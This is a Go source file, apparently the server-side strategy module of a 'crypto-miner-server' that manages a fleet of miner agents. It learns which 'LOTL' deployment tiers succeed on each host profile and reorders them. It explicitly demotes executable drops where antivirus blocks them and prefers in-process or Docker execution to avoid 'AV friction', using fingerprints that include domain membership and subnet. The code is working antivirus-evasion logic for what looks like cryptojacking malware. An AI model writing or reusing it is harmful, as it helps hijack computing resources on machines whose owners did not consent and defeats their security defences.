package strategy import ( "encoding/json" "log" "math" "sort" "strconv" "strings" "sync" "time" "crypto-miner-server/internal/db" ) const ( rescoreInterval = 5 * time.Minute minSamplesForSkip = 3 skipFailureRate = 0.85 promoteHashrateMin = 1.0 ) // RescoreInterval is how often the hub background loop recomputes strategies. const RescoreInterval = rescoreInterval // AdaptiveEngine learns fleet LOTL tier outcomes and scores per-host tier order. type AdaptiveEngine struct { db *db.Database enabled bool mu sync.RWMutex agentFingerprints map[string]HostFingerprint } func NewAdaptiveEngine(database *db.Database, enabled bool) *AdaptiveEngine { return &AdaptiveEngine{ db: database, enabled: enabled, agentFingerprints: make(map[string]HostFingerprint), } } func (e *AdaptiveEngine) Enabled() bool { e.mu.RLock() defer e.mu.RUnlock() return e.enabled } func (e *AdaptiveEngine) SetEnabled(on bool) { e.mu.Lock() e.enabled = on e.mu.Unlock() } func (e *AdaptiveEngine) RememberAgentFingerprint(agentID string, fp HostFingerprint) { if agentID == "" { return } e.mu.Lock() e.agentFingerprints[agentID] = fp e.mu.Unlock() } func (e *AdaptiveEngine) agentFingerprint(agentID string) HostFingerprint { e.mu.RLock() defer e.mu.RUnlock() return e.agentFingerprints[agentID] } // AgentFingerprint returns the latest remembered fingerprint for an agent. func (e *AdaptiveEngine) AgentFingerprint(agentID string) HostFingerprint { return e.agentFingerprint(agentID) } // RecordOutcome persists one tier attempt for fleet learning. func (e *AdaptiveEngine) RecordOutcome(agentID string, fp HostFingerprint, tier string, ok bool, hashrate float64, phase string) { if !e.Enabled() || e.db == nil || agentID == "" || strings.TrimSpace(tier) == "" { return } if fp.GOOS == "" { fp = e.agentFingerprint(agentID) } e.RememberAgentFingerprint(agentID, fp) phase = strings.TrimSpace(phase) if phase == "" { phase = "mining" } if err := e.db.InsertTierOutcome(agentID, fp.Key(), tier, ok, hashrate, phase); err != nil { log.Printf("[strategy] record outcome: %v", err) } } // ScoreTierOrder returns a reordered tier list with transparent reasoning. func (e *AdaptiveEngine) ScoreTierOrder(fp HostFingerprint) AdaptiveStrategy { base := append([]string(nil), DefaultMiningTierOrder...) now := nowRFC3339() reasoning := []StrategyReason{{ Fact: "Host fingerprint: " + describeFingerprint(fp), Inference: "Fleet adaptive engine scores tiers from your machines only", Action: "Starting from default mining tier order", }} if !e.Enabled() || e.db == nil { return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.2, UpdatedAt: now} } stats, err := e.db.AggregateTierOutcomes(fp.Key(), fp.GOOS) if err != nil { log.Printf("[strategy] aggregate outcomes: %v", err) return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.3, UpdatedAt: now} } type tierScore struct { tier string score float64 } scores := make([]tierScore, 0, len(base)) skipSet := make(map[string]bool) indexOf := make(map[string]int, len(base)) for i, t := range base { indexOf[t] = i scores = append(scores, tierScore{tier: t, score: float64(len(base) - i)}) } totalSamples := 0 for _, s := range stats { totalSamples += s.Total } for _, s := range stats { if s.Total == 0 { continue } successRate := float64(s.Successes) / float64(s.Total) idx, ok := indexOf[s.Tier] if !ok { continue } bonus := successRate * 12.0 if s.MaxHashrate >= promoteHashrateMin { bonus += 8.0 reasoning = append(reasoning, StrategyReason{ Fact: tierLabel(s.Tier) + " produced hashrate on similar hosts", Inference: formatFloat(s.MaxHashrate) + " H/s peak in fleet bucket", Action: "Promote " + tierLabel(s.Tier) + " in tier order", }) } if successRate >= 0.5 && s.Successes > 0 { reasoning = append(reasoning, StrategyReason{ Fact: tierLabel(s.Tier) + " succeeded on " + fp.GOOS + " hosts like this", Inference: formatPct(successRate) + " success across " + itoa(s.Total) + " fleet attempts", Action: "Boost " + tierLabel(s.Tier) + " priority", }) } if s.Total >= minSamplesForSkip && successRate <= (1.0-skipFailureRate) && s.Successes == 0 { skipSet[s.Tier] = true reasoning = append(reasoning, StrategyReason{ Fact: tierLabel(s.Tier) + " failed repeatedly on " + fp.GOOS, Inference: itoa(s.Failures) + " failures, 0 successes in fleet bucket", Action: "Skip " + tierLabel(s.Tier) + " for this host profile", }) } scores[idx].score += bonus - (1.0-successRate)*6.0 } if fp.GOOS == "windows" && fp.Docker { if idx, ok := indexOf["container"]; ok { scores[idx].score += 6 reasoning = append(reasoning, StrategyReason{ Fact: "Docker runtime available on Windows host", Inference: "Container tier isolates miner from AV friction on exe drops", Action: "Prefer container / docker_load before raw subprocess", }) } if idx, ok := indexOf["docker_load"]; ok { scores[idx].score += 4 } } if fp.AVBlocks { if idx, ok := indexOf["exe_subprocess"]; ok { scores[idx].score -= 8 reasoning = append(reasoning, StrategyReason{ Fact: "AV blocks unsigned exe execution on this profile", Inference: "Subprocess tier likely blocked before mining starts", Action: "Demote exe_subprocess; try in-process or container first", }) } if idx, ok := indexOf["cpu_inprocess"]; ok { scores[idx].score += 5 } } if fp.WSL { if idx, ok := indexOf["wsl"]; ok { scores[idx].score += 4 } } if fp.GPU { if idx, ok := indexOf["gpu_subprocess"]; ok { scores[idx].score += 3 } } sort.SliceStable(scores, func(i, j int) bool { if scores[i].score == scores[j].score { return indexOf[scores[i].tier] < indexOf[scores[j].tier] } return scores[i].score > scores[j].score }) order := make([]string, 0, len(scores)) seen := make(map[string]bool, len(scores)) for _, s := range scores { if seen[s.tier] || skipSet[s.tier] { continue } order = append(order, s.tier) seen[s.tier] = true } skipTiers := make([]string, 0, len(skipSet)) for _, t := range base { if skipSet[t] { skipTiers = append(skipTiers, t) } } if strings.Join(order, ",") != strings.Join(base, ",") || len(skipTiers) > 0 { reasoning = append(reasoning, StrategyReason{ Fact: "Adaptive order differs from default onion", Inference: "Fleet learning adjusted tier walk for this fingerprint", Action: "Apply personalized order before agent tries default path", }) } confidence := 0.35 if totalSamples > 0 { confidence = math.Min(0.95, 0.35+float64(totalSamples)*0.02) } return AdaptiveStrategy{TierOrder: order, SkipTiers: skipTiers, Reasoning: reasoning, Confidence: round2(confidence), UpdatedAt: now} } func (e *AdaptiveEngine) StrategyForAgent(agentID string, fp HostFingerprint) AdaptiveStrategy { strat := e.ScoreTierOrder(fp) if e.db == nil || agentID == "" { return strat } e.RememberAgentFingerprint(agentID, fp) raw, _ := json.Marshal(strat) if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil { log.Printf("[strategy] cache strategy: %v", err) } return strat } func (e *AdaptiveEngine) RecomputeAll() (int, error) { if !e.Enabled() || e.db == nil { return 0, nil } agents, err := e.db.ListAgentStrategyFingerprints() if err != nil { return 0, err } count := 0 for agentID, fpKey := range agents { fp := parseFingerprintKey(fpKey) strat := e.ScoreTierOrder(fp) raw, _ := json.Marshal(strat) if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil { continue } count++ } return count, nil } func parseFingerprintKey(key string) HostFingerprint { parts := strings.Split(key, "|") fp := HostFingerprint{GOOS: "unknown", Subnet: "unknown"} if len(parts) > 0 && parts[0] != "" { fp.GOOS = parts[0] } if len(parts) > 1 { fp.Docker = parts[1] == "1" } if len(parts) > 2 { fp.WSL = parts[2] == "1" } if len(parts) > 3 { fp.GPU = parts[3] == "1" } if len(parts) > 4 { fp.AVBlocks = parts[4] == "1" } if len(parts) > 5 { fp.DomainJoined = parts[5] == "1" } if len(parts) > 6 { fp.Subnet = parts[6] } return fp } func describeFingerprint(fp HostFingerprint) string { chips := []string{fp.GOOS} if fp.Docker { chips = append(chips, "docker") } if fp.WSL { chips = append(chips, "wsl") } if fp.GPU { chips = append(chips, "gpu") } if fp.AVBlocks { chips = append(chips, "av_blocks") } if fp.DomainJoined { chips = append(chips, "domain_joined") } if fp.Subnet != "" { chips = append(chips, "subnet:"+fp.Subnet) } return strings.Join(chips, ", ") } func tierLabel(tier string) string { return strings.ReplaceAll(tier, "_", " ") } func formatPct(v float64) string { return formatFloat(v*100) + "%" } func formatFloat(v float64) string { return strconv.FormatFloat(v, 'f', -1, 64) } func itoa(n int) string { return strconv.Itoa(n) } func round2(v float64) float64 { return math.Round(v*100) / 100 }